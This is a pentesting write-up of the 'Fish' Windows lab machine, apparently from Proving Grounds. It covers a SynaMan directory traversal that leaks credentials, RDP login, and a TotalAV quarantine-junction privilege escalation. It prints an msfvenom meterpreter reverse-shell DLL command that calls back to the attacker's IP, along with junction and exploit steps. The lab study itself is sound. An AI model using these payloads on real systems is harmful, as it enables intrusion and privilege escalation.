> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/windows/fish.md).

# Fish

## Information Gathering

`sudo ./nmapAutomator.sh` 192.168.76.168 `all`

![](/files/ATfvxGPsvqbEyuUeCaGD)

### Service Enumeration

### HTTP (Port 4848)

We are greeted with the admin server login. We tried different default login credentials but it all does not work.

![](/files/ve6tj5kibWU2Ux0Gorgf)

### HTTP (Port 6060)

Seems like this is running SynaMan 4.0. Default credentials also doesn't not seem to work for this one.

![](/files/qFwP1EyybcSOnaJc1Cj3)

## Exploit

From our initial service enumeration, we found out the following exploits.

{% embed url="<https://www.exploit-db.com/exploits/39441>" %}

We can verify that this directory traversal exploit is indeed working by doing initial tests.

![](/files/56w1Co0tF94lDbUhTwbD)

Great, it is working.

{% embed url="<https://www.exploit-db.com/exploits/45387>" %}

We can make use of the directory traversal to view the contents in `C:\SynaMan\config\AppConfig.xml` which stores SMTP credentials.

We set our file path to the following and run the scanner again:

`/SynaMan/config/AppConfig.xml`

![](/files/kvs2QQaGpDOcFudFMmyl)

Take note under the `smtpUser` and `smtpPassword` fields, the username, and password is `arthur:KingOfAtlantis`.

We can then use the following command to RDP into the target machine.

`xfreerdp /u:arthur /p:KingOfAtlantis /v:192.168.76.168`

![](/files/7zCeUGZBSvcm3t4MXaJ4)

## Privesc

There appears to be an application `TotalAV` on the desktop.

{% embed url="<https://www.exploit-db.com/exploits/47897>" %}

Let's do the following:

1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious DLL
3. Move it to quarantine.
4. The attacker must create an NTFS directory junction to restore

We can generate our DLL file using the following command:

`msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.49.76 lport=443 -f dll > version.dll`

Next, we need a tool to help with the directory junction.&#x20;

{% embed url="<https://github.com/googleprojectzero/symboliclink-testing-tools>" %}

In here contains CreateMountPoint.exe which can create the directory links.

![](/files/DxSCwAVT25zZiQXcj5I8)

Next, we can transfer our files to the target machine.

![](/files/OuHKDivCwB8pYiJrgKAA)

Next, we make a directory `\mount\` and move `version.dll` into it.

We can then make a custom scan in TotalAV and scan our malicious file.

![](/files/zgVR3QGUimQrBVkcj47n)

Great, TotalAV has detected the file and we can set our action to quarantine and click remove threats.

![](/files/lru4W2uGxWYN01a7NbFY)

After `version.dll` is in quarantine, we can use `CreateMountPoint.exe` to link the mount directory to another location. In this case, we mount the directory to the .NET Framework location on this system.

`.\CreateMountPoint.exe "C:\Users\arthur\Downloads\mount" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"`

We can then use Metasploit to receive our reverse shell connection.

&#x20;

![](/files/kKAwN38shmaS8uQ00HXK)

The DLL needs to be loaded by a system process, so we reboot the target machine. After which, we receive a connection to our Metasploit listener and we get SYSTEM.

![](/files/OdgyGu2mF4IbVGcOnpUT)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/windows/fish.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
